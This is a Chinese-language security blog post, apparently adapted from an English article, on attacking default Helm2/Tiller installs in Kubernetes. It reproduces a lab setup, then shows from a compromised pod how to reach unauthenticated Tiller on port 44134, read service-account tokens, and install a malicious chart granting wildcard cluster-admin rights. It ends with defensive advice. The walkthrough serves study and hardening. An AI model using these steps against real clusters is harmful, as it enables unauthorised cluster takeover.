英文文章 https://blog.ropnop.com/attacking-default-installs-of-helm-on-kubernetes/
Helm介绍:
Kubernetes是一个强大的容器调度系统,通常我们会使用一些声明式的定义来在Kubernetes中部署业务。但是当我们开始部署比较复杂的多层架构时,事情往往就会没有那么简单,在这种情况下,我们需要编写和维护多个YAML文件,同时在编写时需要理清各种对象和层级关系。这是一个比较麻烦的事情,所以这个时候Helm出现了。
对于Helm本身可以研究的安全风险可以从很多角度来看比如Charts,Image等,详细的内容可以来看CNCF webinars关于Helm Security的一个分享(https://www.cncf.io/webinars/helm-security-a-look-below-deck/)
本篇文章主要讨论的是Helm2的安全风险,因为在Helm2开发的时候,Kubernetes的RBAC体系还没有建立完成,Kubernetes社区直到2017年10月份v1.8版本才默认采用了RBAC权限体系,所以Helm2的架构设计是存在一定安全风险的。
Helm2架构
Helm2是CS架构,包括客户端和服务端,即Client和Tiller
其中Tiller是Helm的服务端主要用来接收Helm Client的请求,它们的请求是通过gRPC来传输。实际上它的主要作用就是在Helm2和Kubernetes集群中起到了一个中间人的转发作用,Tiller可以完成部署Chart,管理Release以及在Kubernetes中创建应用。
官方在更新到Helm3中这样说过:
所以通过我们了解在Helm2这种架构设计下Tiller组件通常会被配置为非常高的权限,也因此会造成安全风险。
- 对外暴露端口
- 拥有和Kubernetes通信时的高权限(可以进行创建,修改和删除等操作)
安全风险复现
配置Helm2
参考 https://www.cnblogs.com/keithtt/p/13171160.html
1、使用二进制安装包安装helm客户端
wget https://get.helm.sh/helm-v2.16.9-linux-amd64.tar.gz
tar xvf helm-v2.16.9-linux-amd64.tar.gz
cd linux-amd64
cp -a helm /usr/local/bin/
|
2、设置命令行自动补全
echo "source <(helm completion bash" >> ~/.bashrc
3、安装tiller服务端
由于目前K8s都默认启用基于角色的访问控制RBAC,因此,需要为TillerPod创建一个具有正确角色和资源访问权限的ServiceAccount,参考 https://v2.helm.sh/docs/using_helm/#special-note-for-rbac-users 以及 https://blog.ropnop.com/attacking-default-installs-of-helm-on-kubernetes/
要创建具有cluster-admin权限的ServiceAccount,在YAML中定义一个新的ServiceAccount和ClutserRoleBinding资源文件:
# 创建名为tiller的ServiceAccount 并绑定搭配集群管理员 cluster-admin
apiVersion: v1
kind: ServiceAccount
metadata:
name: tiller
namespace: kube-system
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: tiller
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: tiller
namespace: kube-system
# 创建
kubectl apply -f helm-rbac.yam
4、初始化Helm
--tiller-image
指定使用的 Tiller 镜像--stable-repo-url string 指定稳定存储库的 URL(默认为 "https://kubernetes-charts.storage.googleapis.com"),这里指定了 Azure 中国的 Helm 仓库地址来加速 Helm 包的下载。
helm init --service-account tiller --tiller-image=registry.cn-hangzhou.aliyuncs.com/google_containers/tiller:v2.16.6 --stable-repo-url http://mirror.azure.cn/kubernetes/charts kubectl get deployment tiller-deploy -n kube-system helm version Client: &version.Version{SemVer:"v2.16.9", GitCommit:"8ad7037828e5a0fca1009dabe290130da6368e39", GitTreeState:"clean"} Server: &version.Version{SemVer:"v2.16.6", GitCommit:"dd2e5695da88625b190e6b22e9542550ab503a47", GitTreeState:"clean"}
这个命令会设置客户端,并且在kube-system命名空间中为Tiller创建deployment和service,标签为label app=helm
kubectl -n kube-system get all -l 'app=helm'
kubectl -n kube-system get deployments -l 'app=helm' -o jsonpath='{.items[0].spec.template.spec.serviceAccount}'
5、添加repo,这里需要更改为可用的镜像源
https://charts.helm.sh/stable
helm repo add stable https://charts.helm.sh/stable
2)GitPage镜像:参考 https://github.com/BurdenBear/kube-charts-mirror 搭建一个自主可控的镜像源 (参考2 http://charts.ost.ai/)
3)Aliyun镜像:长时间未更新,版本较旧
helm repo add stable https://kubernetes.oss-cn-hangzhou.aliyuncs.com/charts/
4)Azure镜像源(有博客说2021.7.8已不可用,但亲测可用)
helm repo add stable http://mirror.azure.cn/kubernetes/charts/ helm repo add incubator http://mirror.azure.cn/kubernetes/charts-incubator/
这里用Azure的镜像源(阿里镜像源过于老,只支持 extensions/v1beta1 版本的 Deployment 对象)
helm repo add stable http://mirror.azure.cn/kubernetes/charts/ # 查看repo配置列表 helm repo list
helm repo update
7、安装一个app
helm install stable/nginx-ingress --name nginx-ingress --namespace nginx-ingress helm install stable/owncloud --name owncloud --namespace owncloud helm ls -a
8、删除一个app
helm delete --purge owncloud
9、卸载helm(tiller
helm reset --force kubectl delete service/tiller-deploy -n kube-system kubectl delete deployment.apps/tiller-deploy -n kube-system
创建应用
上面成功安装Helm2之后,可以看到Tiller已被部署到Kube-system的命名空间下
在没有使用其他flag时,Tiller将所有资源部署到default命名空间中,–name字段将作为release标签应用到资源上,因此可以使用 kubectl get all -l 'release=my-tomcat' 这个命令查看Helm部署的名为my-tomcat的所有资源
查看部署情况
模拟入侵
针对集群内的攻击,模拟Tomcat服务被入侵,攻击者拿到了容器的控制权。
登录shell后,有几个指标可以快速判断这是一个运行在K8s集群上的容器:
- 有几个Kubernetes相关的环境变量
/.dockerenv
文件存在,说明我们在Docker容器里
在k8s环境下的渗透,通常会首先看其中的环境变量,获取集群的相关信息,服务位置以及一些敏感配置文件
服务侦查
这里我们可以查询在kube-system命名空间下运行的服务,如kube-dns服务本身:注意我们使用的是getent查询域名,因为pod中可能没安装任何标准的dns工具。
$ getent hosts kube-dns.kube-system.svc.cluster.local
10.96.0.10 kube-dns.kube-system.svc.cluster.local
通过DNS枚举其他namespace下正在运行的服务。Tiller在命名空间kube-system中如何创建服务的?它默认名称为tiller-deploy,如果我们用DNS查询可以看到存在的位置。
了解Helm与K8s集群通信方式
tiller-deploy pod 通信。然后,pod 使用其服务帐户token与 Kubernetes API 通信。当客户端运行Helm命令时,实际上是通过端口转发到集群中,直接与tiller-deploy
Service通信,该Service始终指向TCP 44134 上的tiller-deploy
Pod。这种方式可以让Helm命令直接与Tillerr-deploy Pod进行交互,而不必暴露K8s API的直接访问权限给Helm客户端。
然而,对于在K8s集群内的用户而言,44134 TCP端口是可访问的,不用端口转发。
目前已知我们可以访问端口,如果我们可以发送正确的信息,则可以直接与Tiller通信,因为默认情况下,Tiller不需要进行任何身份验证就可以与gRPC通信。在这个默认安装中Tiller以集群管理员权限运行,基本上可以在没有任何身份验证的情况下运行集群管理命令。
与Tiller通过gRPC通信
在pod 上,我们可以helm
从官方版本下载二进制文件。下载并解压到 /tmp:注意可能需要指定下载特定版本。
./helm --host tiller-deploy.kube-system.svc.cluster.local:44134 ls
针对Helm-Tiller攻击
1、首先通过DNS查看是否存在Tiller服务。为了交互,Tiller的端口会被开放到集群内,根据命名规则我们可以尝试默认Tiller的名称
curl tiller-deploy.kube-system:44134 --output out
我们可以通过gRPC方式使用Protobuf格式来与其交互,但是过于麻烦。
2、下载helm客户端到tmp目录下:
wget https://get.helm.sh/helm-v2.16.9-linux-amd64.tar.gz && tar xvf helm-v2.16.9-linux-amd64.tar.gz
./helm --host tiller-deploy.kube-system:44134 version
一个较为麻烦的方式是:比如窃取高权限用户的token,因为我们可以控制tiller意味着我们可以使用这个权限的账户来创建pod,从而获取创建pod后,能够获取到创建pod的token。挂载在pod内路径下/var/run/secrets/kubernetes.io/serviceaccount/token。这个token在创建对应pod时被挂载,可以利用这个token完成对k8s的交互。
1)先下载一个kubectl方便后期交互
kubectl auth can-i --list
./kubectl get secrets -n kube-system
3、这时候需要使用ClusterRole和ClusterRoleBinding这两种对象
- ClusterRole
- 集群范围资源(例如节点,即node)
- 非资源类型endpoint(例如”/healthz”)
- 跨所有namespaces的范围资源(例如pod,需要运行命令kubectl get pods –all-namespaces来查询集群中所有的pod
- ClusterRoleBinding
ClusterRoleBinding在整个集群级别和所有namespaces将特定的subject与ClusterRole绑定,授予权限。
ClusterRole对象可以授予整个集群范围内资源访问权限,也可以对以下几种资源的授予访问权限:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: all-your-base
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: belong-to-us
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: all-your-base
subjects:
- kind: ServiceAccount
namespace: {{ .Values.namespace }}
name: {{ .Values.name }}
将它们生成为对应的chart,并下载到被攻击的容器中,之后使用Client进行安装,配置之后便可以进行高权限操作
在 Helm 中,可以使用 helm create
命令创建一个新的 Chart,并使用 helm package
命令将 Chart 打包成一个 .tgz
文件,可以在其他机器上使用 helm install
命令来安装该 Chart。
mychart 的 Chart 并将其打包:
-
在
mychart
目录中,可以根据需要修改Chart.yaml
、values.yaml
和templates
目录中的模板文件,以定义 Chart 所包含的应用程序、服务和资源等。 -
在命令行中执行以下命令,将 Chart 打包成一个
.tgz
文件:$ helm package mychart -
可以将生成的 .tgz 文件复制到其他机器上,然后使用 helm install 命令来安装 Chart。例如,执行以下命令将 Chart 安装到 Kubernetes 集群中;
在命令行中执行以下命令,创建一个名为 mychart
的 Chart:$ helm create mychart
直接使用 https://github.com/Ruil1n/helm-tiller-pwn 这里打包好的文件就行
错误提示通常是由于 Kubernetes API Server 不支持 rbac.authorization.k8s.io/v1beta1 版本的 ClusterRole 和 ClusterRoleBinding 对象引起的。 |
./helm --host tiller-deploy.kube-system:44134 install pwnchart
总结
最后我们来说一下如何防御,如果你坚持希望使用Tiller,那么请一定要注意不要对外开放端口,同时配置TLS认证以及严格的RBAC认证(https://github.com/michelleN/helm-tiller-rbac)。这里更建议大家尽快升级Helm2到Helm3以及直接使用Helm3。